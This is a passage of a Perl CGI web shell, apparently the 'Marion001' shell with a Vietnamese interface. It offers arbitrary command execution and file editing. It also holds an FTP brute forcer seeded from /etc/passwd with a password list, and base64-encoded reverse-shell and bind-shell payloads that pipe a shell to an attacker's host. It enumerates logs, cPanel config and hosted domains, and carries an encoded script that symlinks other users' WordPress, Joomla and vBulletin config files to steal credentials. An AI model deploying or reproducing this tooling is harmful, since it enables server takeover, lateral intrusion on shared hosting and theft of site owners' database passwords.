  816.         $Command .= " |";
  817.         open(CommandOutput, $Command);
  818.         while(<CommandOutput>)
  819.         {
  820.             $_ =~ s/(\n|\r\n)$//;
  821.             $result .= &HtmlSpecialChars("$_\n");
  822.         }
  823.         $|=0;
  824.     }
  825.     else # show output after command completes
  826.     {
  827.         $result .= &HtmlSpecialChars($Command);
  828.     }
  829.     if(!$WinNT)
  830.     {
  831.         alarm(0);
  832.     }
  833.     return $result;
  834. }
  835. #==============================================================================
  836. # Form Save File
  837. #==============================================================================
  838. sub SaveFileForm
  839. {
  840.     my $result ="";
  841.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  842.     substr($RunCommand,0,5)="";
  843.     my $file=&trim($RunCommand);
  844.     $save='<br><input name="a" type="submit" value="save" class="submit" >';
  845.     $File=$CurrentDir.$PathSep.$RunCommand;
  846.     my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  847.     if(-w $File)
  848.     {
  849.         $rows="23"
  850.     }else
  851.     {
  852.         $msg="<br><font style='color: yellow;' > Cann't write file!<font><br>";
  853.         $rows="20"
  854.     }
  855.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  856.     $RunCommand = "edit $RunCommand";
  857.     $result .=  <<END;
  858.     <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="d" value="$EncodeCurrentDir">
  859.     $Prompt
  860. <input type="text" size="40" name="c">
  861.     <input name="s" class="submit" type="submit" value="Enter"><br>Command: <run> $RunCommand </run>
  862.     <input type="hidden" name="file" value="$file" > $save <br> $msg<br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  863. END
  864.    
  865.     $result .= &HtmlSpecialChars(&FileOpen($File,0));
  866.     $result .= "</textarea>";
  867.     $result .= "</form>";
  868.     return $result;
  869. }
  870. #==============================================================================
  871. # File Open
  872. #==============================================================================
  873. sub FileOpen($){
  874.     my $file = shift;
  875.     my $binary = shift;
  876.     my $result = "";
  877.     my $n = "";
  878.     if(-f $file){
  879.         if(open(FILE,$file)){
  880.             if($binary){
  881.                 binmode FILE;
  882.             }
  883.             while (($n = read FILE, $data, 1024) != 0) {
  884.                 $result .= $data;
  885.             }
  886.             close(FILE);
  887.         }
  888.     }else
  889.     {
  890.         return "Not's a File!";
  891.     }
  892.     return $result;
  893. }
  894. #==============================================================================
  895. # Save File
  896. #==============================================================================
  897. sub SaveFile($)
  898. {
  899.     my $Data= shift ;
  900.     my $File= shift;
  901.     $File=$CurrentDir.$PathSep.$File;
  902.     if(open(FILE, ">$File"))
  903.     {
  904.         binmode FILE;
  905.         print FILE $Data;
  906.         close FILE;
  907.         return 1;
  908.     }else
  909.     {
  910.         return 0;
  911.     }
  912. }
  913. #------------------------------------------------------------------------------
  914. # Brute Forcer Form
  915. #------------------------------------------------------------------------------
  916. sub BruteForcerForm
  917. {
  918.     my $result="";
  919.     $result .= <<END;
  920. <table><tr>
  921. <td colspan="2" align="center">####################################<br>Simple FTP brute forcer<br>Note: Only scan from 1 to 3 user :-S<br>####################################
  922. <form name="f" method="POST" action="$ScriptLocation"><input type="hidden" name="a" value="bruteforcer"/></td></tr><tr><td>User:<br><textarea rows="18" cols="30" name="user">
  923. END
  924. chop($result .= `less /etc/passwd | cut -d: -f1`);
  925. $result .= <<'END';
  926. </textarea></td><td>Pass:<br><textarea rows="18" cols="30" name="pass">123pass
  927. 123!@#
  928. 123admin
  929. 123abc
  930. 123456admin
  931. 1234554321
  932. 12344321
  933. pass123
  934. admin
  935. admincp
  936. administrator
  937. matkhau
  938. passadmin
  939. p@ssword
  940. p@ssw0rd
  941. password
  942. 123456
  943. 1234567
  944. 12345678
  945. 123456789
  946. 1234567890
  947. 111111
  948. 000000
  949. 222222
  950. 333333
  951. 444444
  952. 555555
  953. 666666
  954. 777777
  955. 888888
  956. 999999
  957. 123123
  958. 234234
  959. 345345
  960. 456456
  961. 567567
  962. 678678
  963. 789789
  964. 123321
  965. 456654
  966. 654321
  967. 7654321
  968. 87654321
  969. 987654321
  970. 0987654321
  971. admin123
  972. admin123456
  973. abcdef
  974. abcabc
  975. !@#!@#
  976. !@#$%^
  977. !@#$%^&*(
  978. !@#$$#@!
  979. abc123
  980. anhyeuem
  981. iloveyou
  982. </textarea></td></tr><tr><td colspan="2" align="center">Sleep:<select name="sleep"><option>0</option><option>1</option><option>2</option><option>3</option></select> <input type="submit" class="submit" value="Marion001"/></td></tr></form></table>
  983. END
  984. return $result;
  985. }
  986. #------------------------------------------------------------------------------
  987. # Brute Forcer
  988. #------------------------------------------------------------------------------
  989. sub BruteForcer
  990. {
  991.     my $result="";
  992.     $Server=$ENV{'SERVER_ADDR'};
  993.     if($in{'user'} eq "")
  994.     {
  995.         $result .= &BruteForcerForm;
  996.     }else
  997.     {
  998.         use Net::FTP;
  999.         @user= split(/\n/, $in{'user'});
  1000.         @pass= split(/\n/, $in{'pass'});
  1001.         chomp(@user);
  1002.         chomp(@pass);
  1003.         $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1004.         foreach $username (@user)
  1005.         {
  1006.             if($username ne "")
  1007.             {
  1008.                 foreach $password (@pass)
  1009.                 {
  1010.                     $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1011.                     if($ftp->login("$username","$password"))
  1012.                     {
  1013.                         $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1014.                         $ftp->quit();
  1015.                         break;
  1016.                     }
  1017.                     if($in{'sleep'} ne "0")
  1018.                     {
  1019.                         sleep(int($in{'sleep'}) * 1000);
  1020.                     }
  1021.                     $ftp->quit();
  1022.                 }
  1023.             }
  1024.         }
  1025.         $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1026.     }
  1027.     return $result;
  1028. }
  1029. #------------------------------------------------------------------------------
  1030. # Backconnect Form
  1031. #------------------------------------------------------------------------------
  1032. sub BackBindForm
  1033. {
  1034. return <<END;
  1035. <br><br><table><tr><form name="f" method="POST" action="$ScriptLocation"><td>BackConnect: <input type="hidden" name="a" value="backbind"></td><td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1036. Port: <input type="text" size="6" name="clientport" value="1711" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1037. <td><input name="s" class="submit" type="submit" name="submit" value="Marion001"></td></form></tr><tr><td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1038. <br>[+] Try check your Port with <a target="_blank" href="http://www.canyouseeme.org/">http://www.canyouseeme.org/</a><br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">80</span></run></font></td>
  1039. </tr></table><br><br><table><tr><form method="POST" action="$ScriptLocation"><td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1040. <td> Port: <input type="text" size="15" name="clientport" value="1412" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1041. M&#7853;t Kh&#7849;u: <input type="text" size="12" name="bindpass" value="Marion001"></td>
  1042. <td><input name="s" class="submit" type="submit" name="submit" value="Marion001"></td></form></tr><tr><td colspan=3><font color=#FFFFFF>[+] Testing ....
  1043. <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">1412</span></run></font></td>
  1044. </tr></table><br/><b><a style="color:#FFF500;" href="http://www.mediafire.com/download/oz2605n328gnkru" target="_blank">Click Download Netcat, nc.exe</a></b><br>
  1045. END
  1046. }
  1047. #------------------------------------------------------------------------------
  1048. # Backconnect use perl
  1049. #------------------------------------------------------------------------------
  1050. sub BackBind
  1051. {
  1052.     use Socket;
  1053.     $backperl="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7CiRjbWQ9ICJseW54IjsKJHN5c3RlbT0gJ2VjaG8gIiI7CmVjaG8gIlsrXSBNYXJpb24wMDEgQmFjayBDb25uZWN0IFRoYW5oIENvbmcgIjsKZWNobyAiWytdIEZCOiBodHRwczovL3d3dy5mYWNlYm9vay5jb20vUGFydHkuTWFyaW9uMDAxIjsKZWNobyAiWytdIE1haWw6IE1yLk1hcmlvbjAwMUBnbWFpbC5jb20iO2VjaG8gIiI7CmVjaG8gIlstXSBVbmFtZSAtYToiO2VjaG8gImB1bmFtZSAtYWAiO2VjaG8gIiI7CmVjaG8gIlstXSBpZDoiO2VjaG8gImBpZGAiO2VjaG8gIiI7ZWNobyAiWy1dIHB3ZDoiOwplY2hvICJgcHdkYCI7ZWNobyAiIjtlY2hvICJbK10gQ29tbWFuZCBNYXJpb24wMDE+IjtlY2hvIiI7L2Jpbi9zaCc7CiQwPSRjbWQ7CiR0YXJnZXQ9JEFSR1ZbMF07CiRwb3J0PSRBUkdWWzFdOwokaWFkZHI9aW5ldF9hdG9uKCR0YXJnZXQpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsKJHByb3RvPWdldHByb3RvYnluYW1lKCd0Y3AnKTsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllKCJFcnJvcjogJCFcbiIpOwpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7Cm9wZW4oU1RESU4sICI+JlNPQ0tFVCIpOwpvcGVuKFNURE9VVCwgIj4mU09DS0VUIik7Cm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsKc3lzdGVtKCRzeXN0ZW0pOwpjbG9zZShTVERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7";
  1054.     $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1055.     $ClientAddr = $in{'clientaddr'};
  1056.     $ClientPort = int($in{'clientport'});
  1057.     if($ClientPort eq 0)
  1058.     {
  1059.         return &BackBindForm;
  1060.     }elsif(!$ClientAddr eq "")
  1061.     {
  1062.         $Data=decode_base64($backperl);
  1063.         if(-w "/tmp/")
  1064.         {
  1065.             $File="/tmp/backconnect.pl";   
  1066.         }else
  1067.         {
  1068.             $File=$CurrentDir.$PathSep."backconnect.pl";
  1069.         }
  1070.         open(FILE, ">$File");
  1071.         print FILE $Data;
  1072.         close FILE;
  1073.         system("perl $File $ClientAddr $ClientPort");
  1074.         unlink($File);
  1075.         exit 0;
  1076.     }else
  1077.     {
  1078.         $Data=decode_base64($bindperl);
  1079.         if(-w "/tmp")
  1080.         {
  1081.             $File="/tmp/bindport.pl";  
  1082.         }else
  1083.         {
  1084.             $File=$CurrentDir.$PathSep."bindport.pl";
  1085.         }
  1086.         open(FILE, ">$File");
  1087.         print FILE $Data;
  1088.         close FILE;
  1089.         system("perl $File $ClientPort");
  1090.         unlink($File);
  1091.         exit 0;
  1092.     }
  1093. }
  1094. #------------------------------------------------------------------------------
  1095. #  Array List Directory
  1096. #------------------------------------------------------------------------------
  1097. sub RmDir($)
  1098. {
  1099.     my $dir = shift;
  1100.     if(opendir(DIR,$dir))
  1101.     {
  1102.         while($file = readdir(DIR))
  1103.         {
  1104.             if(($file ne ".") && ($file ne ".."))
  1105.             {
  1106.                 $file= $dir.$PathSep.$file;
  1107.                 if(-d $file)
  1108.                 {
  1109.                     &RmDir($file);
  1110.                 }
  1111.                 else
  1112.                 {
  1113.                     unlink($file);
  1114.                 }
  1115.             }
  1116.         }
  1117.         closedir(DIR);
  1118.     }
  1119. }
  1120. sub FileOwner($)
  1121. {
  1122.     my $file = shift;
  1123.     if(-e $file)
  1124.     {
  1125.         ($uid,$gid) = (stat($file))[4,5];
  1126.         if($WinNT)
  1127.         {
  1128.             return "???";
  1129.         }
  1130.         else
  1131.         {
  1132.             $name=getpwuid($uid);
  1133.             $group=getgrgid($gid);
  1134.             return $name."/".$group;
  1135.         }
  1136.     }
  1137.     return "???";
  1138. }
  1139. sub ParentFolder($)
  1140. {
  1141.     my $path = shift;
  1142.     my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1143.     chop($path = `$Comm`);
  1144.     return $path;
  1145. }
  1146. sub FilePerms($)
  1147. {
  1148.     my $file = shift;
  1149.     my $ur = "-";
  1150.     my $uw = "-";
  1151.     if(-e $file)
  1152.     {
  1153.         if($WinNT)
  1154.         {
  1155.             if(-r $file){ $ur = "r"; }
  1156.             if(-w $file){ $uw = "w"; }
  1157.             return $ur . " / " . $uw;
  1158.         }else
  1159.         {
  1160.             $mode=(stat($file))[2];
  1161.             $result = sprintf("%04o", $mode & 07777);
  1162.             return $result;
  1163.         }
  1164.     }
  1165.     return "0000";
  1166. }
  1167. sub FileLastModified($)
  1168. {
  1169.     my $file = shift;
  1170.     if(-e $file)
  1171.     {
  1172.         ($la) = (stat($file))[9];
  1173.         ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1174.         $y = $y + 1900;
  1175.         @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1176.         $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1177.         return $lmtime;
  1178.     }
  1179.     return "???";
  1180. }
  1181. sub FileSize($)
  1182. {
  1183.     my $file = shift;
  1184.     if(-f $file)
  1185.     {
  1186.         return -s "$file";
  1187.     }
  1188.     return "0";
  1189. }
  1190. sub ParseFileSize($)
  1191. {
  1192.     my $size = shift;
  1193.     if($size <= 1024)
  1194.     {
  1195.         return $size. " B";
  1196.     }
  1197.     else
  1198.     {
  1199.         if($size <= 1024*1024)
  1200.         {
  1201.             $size = sprintf("%.02f",$size / 1024);
  1202.             return $size." KB";
  1203.         }
  1204.         else
  1205.         {
  1206.             $size = sprintf("%.2f",$size / 1024 / 1024);
  1207.             return $size." MB";
  1208.         }
  1209.     }
  1210. }
  1211. sub trim($)
  1212. {
  1213.     my $string = shift;
  1214.     $string =~ s/^\s+//;
  1215.     $string =~ s/\s+$//;
  1216.     return $string;
  1217. }
  1218. sub AddSlashes($)
  1219. {
  1220.     my $string = shift;
  1221.     $string=~ s/\\/\\\\/g;
  1222.     return $string;
  1223. }
  1224. sub TrimSlashes($)
  1225. {
  1226.     my $string = shift;
  1227.     $string=~ s/\/\//\//g;
  1228.     $string=~ s/\\\\/\\/g;
  1229.     return $string;
  1230. }
  1231. sub ListDir
  1232. {
  1233.     my $path = &TrimSlashes($CurrentDir.$PathSep);
  1234.     my $result = "<form name='f' onSubmit=\"Encoder('d')\" action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' id='d' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Marion001'></form>";
  1235.     if(-d $path)
  1236.     {
  1237.         my @fname = ();
  1238.         my @dname = ();
  1239.         if(opendir(DIR,$path))
  1240.         {
  1241.             while($file = readdir(DIR))
  1242.             {
  1243.                 $f=$path.$file;
  1244.                 if(-d $f)
  1245.                 {
  1246.                     push(@dname,$file);
  1247.                 }
  1248.                 else
  1249.                 {
  1250.                     push(@fname,$file);
  1251.                 }
  1252.             }
  1253.             closedir(DIR);
  1254.         }
  1255.         @fname = sort { lc($a) cmp lc($b) } @fname;
  1256.         @dname = sort { lc($a) cmp lc($b) } @dname;
  1257.         $result .= "<div><table width='90%' class='listdir'>
  1258.         <tr style='background-color: #3e3e3e'><th>T&#234;n File</th>
  1259.         <th width='100'>Kick Th&#432;&#7899;c File</th>
  1260.         <th width='150'>N&#417;i S&#7903; h&#7919;u</th>
  1261.         <th width='100'>S&#7921; C&#7845;p Ph&#233;p</th>
  1262.         <th width='150'>Thay &#272;&#7893;i M&#7899;i Nh&#7845;t</th>
  1263.         <th width='230'>H&#224;nh &#272;&#7897;ng</th></tr>";
  1264.         my $style="notline";
  1265.         my $i=0;
  1266.         foreach my $d (@dname)
  1267.         {
  1268.             $style= ($style eq "line") ? "notline": "line";
  1269.             $d = &trim($d);
  1270.             $dirname=$d;
  1271.             if($d eq "..")
  1272.             {
  1273.                 $d = &ParentFolder($path);
  1274.             }
  1275.             elsif($d eq ".")
  1276.             {
  1277.                 next;
  1278.             }
  1279.             else
  1280.             {
  1281.                 $d = $path.$d;
  1282.             }
  1283.             $result .= "<tr class='$style'><td id='File_$i' class='dir'><a  href='?a=gui&d=".&EncodeDir($d)."'>[ ".$dirname." ]</a></td>";
  1284.             $result .= "<td>DIR</td>";
  1285.             $result .= "<td>".&FileOwner($d)."</td>";
  1286.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1287.             $result .= "<td>".&FileLastModified($d)."</td>";
  1288.             $result .= "<td><a onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."'); return false; \">&#272;&#7893;i T&#234;n</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$dirname'>Di Chuy&#7875;n</a></td>";
  1289.             $result .= "</tr>";
  1290.             $i++;
  1291.         }
  1292.         foreach my $f (@fname)
  1293.         {
  1294.             $style= ($style eq "line") ? "notline": "line";
  1295.             $file=$f;
  1296.             $f = $path.$f;
  1297.             my $action = encode_base64("edit ".$file);
  1298.             $view = "?dir=".$path."&view=".$f;
  1299.             $result .= "<tr class='$style'><td id='File_$i' class='file'><a href='?a=command&d=".&EncodeDir($path)."&c=".$action."'>".$file."</a></td>";
  1300.             $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1301.             $result .= "<td>".&FileOwner($f)."</td>";
  1302.             $result .= "<td id='FilePerms_$i' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1303.             $result .= "<td>".&FileLastModified($f)."</td>";
  1304.             $result .= "<td><a onclick=\"rename_form($i,'$file','f'); return false;\">&#272;&#7893;i T&#234;n</a> | <a href='?a=download&o=go&f=".$f."'>T&#7843;i Xu&#7889;ng</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=".&EncodeDir($path)."&remove=$file'>Di Chuy&#7875;n</a></td>";
  1305.             $result .= "</tr>";
  1306.             $i++;
  1307.         }
  1308.         $result .= "</table></div>";
  1309.     }
  1310.     return $result;
  1311. }
  1312. #------------------------------------------------------------------------------
  1313. # Try to View List User
  1314. #------------------------------------------------------------------------------
  1315. sub ViewDomainUser
  1316. {
  1317.     open (d0mains, '/etc/named.conf') or $err=1;
  1318.     my @cnzs = <d0mains>;
  1319.     close d0mains;
  1320.     my $style="line";
  1321.     my $result="<h3><font style='font: 15pt Verdana;color: 00FF00;'>C&#7843;nh B&#225;o ! Shell &#272;&#7875; S&#7917; D&#7909;ng Tham Kh&#7843;o, Kh&#244;ng Hack</font></h3>";
  1322.     if ($err)
  1323.     {
  1324.         $result .=  ('<p>Th&#7845;t B&#7841;i, Kh&#244;ng Th&#7875; V&#432;&#7907;t Qua N&#243;</p>');
  1325.         return $result;
  1326.     }else
  1327.     {
  1328.         $result .= '<table id="domain"><tr><th>d0mains</th> <th>User</th></tr>';
  1329.     }
  1330.     foreach my $one (@cnzs)
  1331.     {
  1332.         if($one =~ m/.*?zone "(.*?)" {/)
  1333.         {  
  1334.             $style= ($style eq "line") ? "notline": "line";
  1335.             $filename= trim("/etc/valiases/".$1);
  1336.             $owner = getpwuid((stat($filename))[4]);
  1337.             $result .= '<tr style="$style" width=50%><td><a href="http://'.$1.'" target="_blank">'.$1.'</a></td><td> '.$owner.'</td><td>'.get_google_pagerank($1).'<td></tr>';
  1338.         }
  1339.     }
  1340.     $result .= '</table>';
  1341.     return $result;
  1342. }
  1343. #------------------------------------------------------------------------------
  1344. # View Log
  1345. #------------------------------------------------------------------------------
  1346. sub ViewLog
  1347. {
  1348.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1349.     if($WinNT)
  1350.     {
  1351.         return "<h2><font style='font: 20pt Verdana;color: 00FF00;'>Don't run on Windows</font></h2>";
  1352.     }
  1353.     my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1354.     my @pathlog=(   '/usr/local/apache/logs/error_log',
  1355.             '/usr/local/apache/logs/access_log',
  1356.             '/usr/local/apache2/conf/httpd.conf',
  1357.             '/var/log/httpd/error_log',
  1358.             '/var/log/httpd/access_log',
  1359.             '/usr/local/cpanel/logs/error_log',
  1360.             '/usr/local/cpanel/logs/access_log',
  1361.             '/usr/local/apache/logs/suphp_log',
  1362.             '/usr/local/cpanel/logs',
  1363.             '/usr/local/cpanel/logs/stats_log',
  1364.             '/usr/local/cpanel/logs/access_log',
  1365.             '/usr/local/cpanel/logs/error_log',
  1366.             '/usr/local/cpanel/logs/license_log',
  1367.             '/usr/local/cpanel/logs/login_log',
  1368.             '/usr/local/cpanel/logs/stats_log',
  1369.             '/var/cpanel/cpanel.config',
  1370.             '/usr/local/php/lib/php.ini',
  1371.             '/usr/local/php5/lib/php.ini',
  1372.             '/var/log/mysql/mysql-bin.log',
  1373.             '/var/log/mysql.log',
  1374.             '/var/log/mysqlderror.log',
  1375.             '/var/log/mysql/mysql.log',
  1376.             '/var/log/mysql/mysql-slow.log',
  1377.             '/var/mysql.log',
  1378.             '/var/lib/mysql/my.cnf',
  1379.             '/etc/mysql/my.cnf',
  1380.             '/etc/my.cnf',
  1381.             );
  1382.     my $i=0;
  1383.     my $perms;
  1384.     my $sl;
  1385.     foreach my $log (@pathlog)
  1386.     {
  1387.         if(-r $log)
  1388.         {
  1389.             $perms="OK";
  1390.         }else
  1391.         {
  1392.             $perms="<font style='color: red;'>Cancel<font>";
  1393.         }
  1394.         $result .=<<END;
  1395.         <tr>
  1396.  
  1397.             <form action="" method="post" onSubmit="Encoder('log$i')">
  1398.             <td><input type="text" id="log$i" name="c" value="tail -10000 $log | grep '/home'" size='50'/></td>
  1399.             <td><input class="submit" type="submit" value="Try" /></td>
  1400.             <input type="hidden" name="a" value="command" />
  1401.             <input type="hidden" name="d" value="$EncodeCurrentDir" />
  1402.             </form>
  1403.             <td>$perms</td>
  1404.  
  1405.         </tr>
  1406. END
  1407.         $i++;
  1408.     }
  1409.     $result .="</table>";
  1410.     return $result;
  1411. }
  1412. sub ConfigMarion{
  1413. open (CreateNew,">Config.Marion001") or die "Kh&#244;ng Th&#7875; T&#7841;o File";
  1414. $configmarion = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnByaW50ICJDb250ZW50LXR5cGU6IHRleHQvaHRtbFxuXG4iOwpwcmludCc8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIFhIVE1MIDEuMCBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIveGh0bWwxL0RURC94aHRtbDEtdHJhbnNpdGlvbmFsLmR0ZCI+CjxodG1sIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hodG1sIj48aGVhZD48bWV0YSBodHRwLWVxdWl2PSJDb250ZW50LUxhbmd1YWdlIiBjb250ZW50PSJlbi11cyIgLz4KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiIC8+PHRpdGxlPkNvbmZpZy5NYXJpb24wMDE8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgoubmV3U3R5bGUxIHsKIGZvbnQtZmFtaWx5OiBUYWhvbWE7CiBmb250LXNpemU6IHgtc21hbGw7CiBmb250LXdlaWdodDogYm9sZDsKIGNvbG9yOiAjMDBGRkZGOwogIHRleHQtYWxpZ246IGNlbnRlcjsKfQo8L3N0eWxlPjwvaGVhZD4nOwpzdWIgbGlsewogICAgKCR1c2VyKSA9IEBfOwokbXNyID0gcXh7cHdkfTsKJGtvbGE9JG1zci4iLyIuJHVzZXI7CiRrb2xhPX5zL1xuLy9nOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluMS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nfn52QnVsbGV0aW4yLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLid+fnZCdWxsZXRpbjMtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+dkJ1bGxldGluNC1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywka29sYS4nfn5QaHBiYjEtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ35+UGhwYmIyLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRrb2xhLid+fldvcmRwcmVzczEtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywka29sYS4nfn5Xb3JkcHJlc3MyLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGExLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fkpvb21sYTItTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5Kb29tbGEzLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ35+V2htMS1NYXJpb24wMDEudHh0Jyk7CnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG0yLU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid+fldobTMtTWFyaW9uMDAxLnR4dCcpOwpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nfn5XaG00LU1hcmlvbjAwMS50eHQnKTsKc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL